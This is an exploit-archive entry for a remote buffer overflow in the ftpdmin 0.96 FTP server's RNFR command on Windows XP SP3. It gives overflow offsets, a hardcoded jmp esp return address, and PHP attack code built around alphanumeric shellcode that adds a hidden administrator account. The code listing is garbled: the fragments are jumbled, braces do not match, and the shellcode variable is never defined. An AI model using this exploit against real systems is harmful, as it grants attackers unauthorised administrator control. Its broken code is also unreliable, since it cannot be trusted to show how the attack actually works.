FTPDMIN 0.96 (Windows XP SP3) - RNFR Remote Buffer Overflow

Type exploitpack
Reporter surfista
Modified 2009-04-13T00:00:00


FTPDMIN 0.96 (Windows XP SP3) - RNFR Remote Buffer Overflow

   ftpdmin v. 0.96 RNFR remote buffer overflow exploit (xp sp3 / case study)
   by Nine:Situations:Group::surfista
   software site: http://www.sentex.net/~mwandel/ftpdmin/
   our site: http://retrogod.altervista.org/

   bug found by rgod in 2006, RNFR sequences can trigger a simple eip overwrite.
   We can use 272 bytes before EIP and 119 after EIP, ESP and EBP points to 
   the second memory region.
   We have a very small set of chars that we can use ,RNFR (Rename From) command  
   accept pathnames as argument, so characters whose integer representations are 
   in the range from zero through 31 and reserved chars are not allowed!

$ftp_server = "";
$ftp_user   = "anonymous";
$ftp_pass   = "anon@email.com";

function ftp_cmd($cmd){
    global $conn_id;
    echo "-> ".$cmd."\n";

                #WinExec shellcode of mine, enconded with the alpha2 tool by SkyLined, adds
                #a "surfista" admin user with pass "pass"
                #contains hardcoded address, re-encode command:
                #alpha2 esp < shdmp.txt
                #do not touch, esp adjustment and subsequent call esp, very large but we have lots of unused space
                if (strlen($____scode) > 272) {die("[!] shellcode too large!");}
                $conn_id = ftp_connect($ftp_server) or die("(!) Unable to connect to $ftp_server");
                if (@ftp_login($conn_id, $ftp_user, $ftp_pass)) {
                    echo "(*) Connected as $ftp_user@$ftp_server\n";
                } else {
                    die("(!) Unable to connect as $ftp_user\n");
                $____jnk = str_repeat("\x66",272 - strlen($____scode));
                $____eip="\x44\x3a\x41\x7e";     //0x7E413A44      jmp esp, user32.dll xp sp3
                $____jnk_ii = str_repeat("\x66",119 - strlen($____code));
                $____boom="RNFR ".str_repeat("x",0x0096);
                $____boom="RNFR ".$____bof;
                $____boom="RNFR ".str_repeat("x",0x0208);
                echo "(*) Done !\n";

# milw0rm.com [2009-04-13]